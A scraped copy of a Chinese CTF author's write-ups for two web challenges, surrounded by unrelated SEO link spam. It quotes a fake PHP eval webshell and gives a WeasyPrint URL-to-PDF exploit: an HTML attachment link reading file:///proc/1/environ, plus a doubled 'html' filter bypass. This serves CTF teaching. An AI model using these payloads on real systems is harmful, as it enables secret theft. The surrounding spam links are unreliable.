当前位置: 首页 > news >正文

格力网站建设首页seo 的作用和意义

格力网站建设首页,seo 的作用和意义,全网最低价购物平台,网站开发采集工具真亦假&#xff0c;假亦真 简介&#xff1a;java伪造php一句话马。实则信息泄露一扫就出&#xff0c;flag在/flag里面。 题目描述&#xff1a;开开心心签个到吧&#xff0c;祝各位师傅们好运~ 静态flag&#xff1a;NSS{Checkin_h4v3_4_g00D_tINNe!} /路由显示 <?php e…

真亦假,假亦真

简介:java伪造php一句话马。实则信息泄露一扫就出,flag在/flag里面。

题目描述:开开心心签个到吧,祝各位师傅们好运~

静态flag:NSS{Checkin_h4v3_4_g00D_tINNe!}

/路由显示

<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);//标准一句话木马~
eval($_POST[1]);
?>
docker build -t toftoffff . && docker run -d --name=toftoffff -p 9029:9029 --rm toftoffff

WP:

开题

image-20240306003334659

做好事不留名,那我Jay17当然不干好事啦

image-20240306003359140

你不会真去getshell了吧,不会吧不会吧

image-20240306003437025

其实这只是Java伪造的一句话,源码:

package org.nss.nss_true_boot01;import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;@RestController
public class TestController {@GetMapping("/")@ResponseBodypublic String index() {return "<!DOCTYPE html>" +"<html>" +"<head><title>签到题题题</title></head>" +"<body>" +"<h1>" +"签到题,直接送大家shell了,做好事不留名,我叫Jay17(6s后页面跳转)<br>" +"</h1>" +"<script>" +"setTimeout(function() {" +"    window.location.href = '/shell.php';" +"}, 6000);" +"</script>" +"</body>" +"</html>";}@GetMapping("/shell.php")public String shell(){String htmlContent = "<!DOCTYPE html>" +"<html>" +"<body>" +"<code><span style=\"color: #000000\">" +"<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +"error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +"<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +"'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +"<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +"__FILE__</span><span style=\"color: #007700\">);" +"<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +"<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +"</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +"<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +"</span>" +"</code>" +"</body>" +"</html>";return htmlContent;}@PostMapping("/shell.php")public String shellhhhh(){String htmlContent = "<!DOCTYPE html>" +"<html>" +"<body>" +"<code><span style=\"color: #000000\">" +"<span style=\"color: #0000BB\">&lt;?</span><span style=\"color: #DD0000\">php</span><br />" +"error_reporting</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">0</span><span style=\"color: #007700\">);" +"<br /></span><span style=\"color: #0000BB\">header</span><span style=\"color: #007700\">(</span><span style=\"color: #DD0000\">" +"'Content-Type:&nbsp;text/html;&nbsp;charset=utf-8'</span><span style=\"color: #007700\">);" +"<br /></span><span style=\"color: #0000BB\">highlight_file</span><span style=\"color: #007700\">(</span><span style=\"color: #0000BB\">" +"__FILE__</span><span style=\"color: #007700\">);" +"<br /><br /></span><span style=\"color: #FF8000\">//标准一句话木马~" +"<br /></span><span style=\"color: #007700\">eval(</span><span style=\"color: #0000BB\">$_POST</span><span style=\"color: #007700\">[" +"</span><span style=\"color: #0000BB\">1</span><span style=\"color: #007700\">]);" +"<br /></span><span style=\"color: #0000BB\">?&gt;</span>" +"</span>" +"</code>" +"真是shell我能给你?"+"</body>" +"</html>";return htmlContent;}@GetMapping("/flag")public String flag(){return "真是shell我能给你?不过flag真给你,师傅们玩的愉快~:NSS{Checkin_h4v3_4_g00D_tINNe!}";}}

如何破局?其实假的一句话木马我有给hint,我故意调错了颜色

image-20240315190040053

同时,flag路由扫一下就出来了。

image-20240306003756559

image-20240306003830473

CSDN_To_PDF V1.2

简介:python WeasyPrint 的漏洞,之前出现过:[FireshellCTF2020]URL TO PDF(BUU)、2023羊城杯决赛(未公开环境)。我进行过二开,加大了一点难度,可以从代码逻辑缺陷入手绕过

hint:

WeasyPrint

必须包含blog.csdn.net

会过滤替换字符串html

文件夹名字可以是blog.csdn.net

题目描述:几年前的自用版CSDN博客PDF转换器

源码:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
import re
from flask_weasyprint import HTML, render_pdf
import osapp = Flask(__name__)URL_REGEX = re.compile(r'http(s)?://'r'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)def is_valid_url(url):if not URL_REGEX.match(url):return Falseif "blog.csdn.net" not in url:return Falsereturn True@app.route('/', methods=['GET', 'POST'])
def CsdnToPdf():if request.method == 'POST':url = request.form.get('url')url = url.replace("html", "")if is_valid_url(url):try:html = HTML(url=url)pdf = html.write_pdf()response = make_response(pdf)response.headers['Content-Type'] = 'application/pdf'response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'return responseexcept Exception as e:return f'Error generating PDF', 500else:return f'Invalid URL! Target web address: ' + urlelse:return render_template("index.html"), 200if __name__ == '__main__':app.run(host='0.0.0.0', port=8080)
docker build -t csdntopdf . && docker run -d -p 9030:8080 --name csdntopdf -e FLAG=NSSCTF{test_flag} --rm double_pickle

WP:

开题:

image-20240307153300025

源码不知道需不需要给,算了不给了,你们搞黑盒吧,hint都有。

hint如下,能不能发现看大家啦:

1、url不符合要求的话,会返回Invalid URL! Target web address:xxxxx,可以发现我吧字符串html替换为空,双写绕过就行

2、题目提到了CSDN博客PDF转换器,所以url必须包含blog.csdn.net,看起来无法绕过,但是你看看源码就懂了,前端源码我有给hint,我的css文件用的是:http://120.46.41.173/Jay17/blog.csdn.net/templates/index.css,服务器上有个文件夹是不是叫blog.csdn.net,就这样绕,有想法的师傅可能还能在我的vps同目录下发现源码哦~

3、功能是转换成PDF,后端是python。不难想到是WeasyPrint ,这是一个 Python 的虚拟 HTML 和 CSS 渲染引擎,可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印

原题wp可以看看y4✌的:[BUUCTF][FireshellCTF2020]URL TO PDF-CSDN博客

首先探测一下漏洞:

http://120.46.41.173:9023/blog.csdn.net

image-20240315192008934

vps上文件test.html

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///proc/1/environ">
</body>
</html>

我们利用python WeasyPrint 的方法是:

payload:

http://vps-ip/link.html

这题利用方法:

payload:

http://120.46.41.173/Jay17/blog.csdn.net/link.hthtmlml

拿到PDF后,binwalk -e 文件名

image-20240315192621557

image-20240315193025817

赛题测试:

image-20240327152434430

http://www.cadmedia.cn/news/9002.html

相关文章:

  • 兰州网站建设q.479185700惠四川成都最新消息
  • 做58网站怎么赚钱网络市场的四大特点
  • 坛墨网站建设百度seo白皮书
  • 首码项目网发布平台抖音视频seo霸屏
  • 开个网站建设公司多少钱小程序平台
  • 商丘网站制作新能源汽车公司
  • 网站规划设计的步骤企业网站管理系统
  • 汕头网站外包产品推广方式都有哪些
  • 建设小说网站费用网站设计制作培训
  • 网站建设评审会总结发言seo网站关键词
  • 专业集团门户网站建设上海城市分站seo
  • 网站建设要多少钱怎样软文范文
  • 免费软件app推荐seo入门视频
  • 做一个网站需要多少钱谷歌搜索广告优化
  • 可信的手机网站建设网站关键词排名优化方法
  • 怎么做html网页常州seo外包公司
  • 做瞹视频网站电商网站首页
  • 以企业介绍为主做外贸网站好吗青岛网站排名提升
  • 软件开发软件开发网站新闻网站软文平台
  • 阿里巴巴做网站需要多少钱万能软文模板
  • 网站免费维护期是多少优惠活动推广文案
  • 乳山网站开发推广发布任务平台app下载
  • 重庆seo报价重庆seo排名技术
  • 班级网页网站建设360优化大师最新版
  • 网站建设人才简历靠谱的代运营公司有哪些
  • 注册网站用的信用卡互联网营销渠道有哪些
  • 温州网站设计图片大全谷歌推广哪家公司好
  • 网站建设 九艾免费的云服务器有哪些
  • 邯郸市今日防疫最疫情北京seo如何排名
  • 网站建设违约交付武汉最新疫情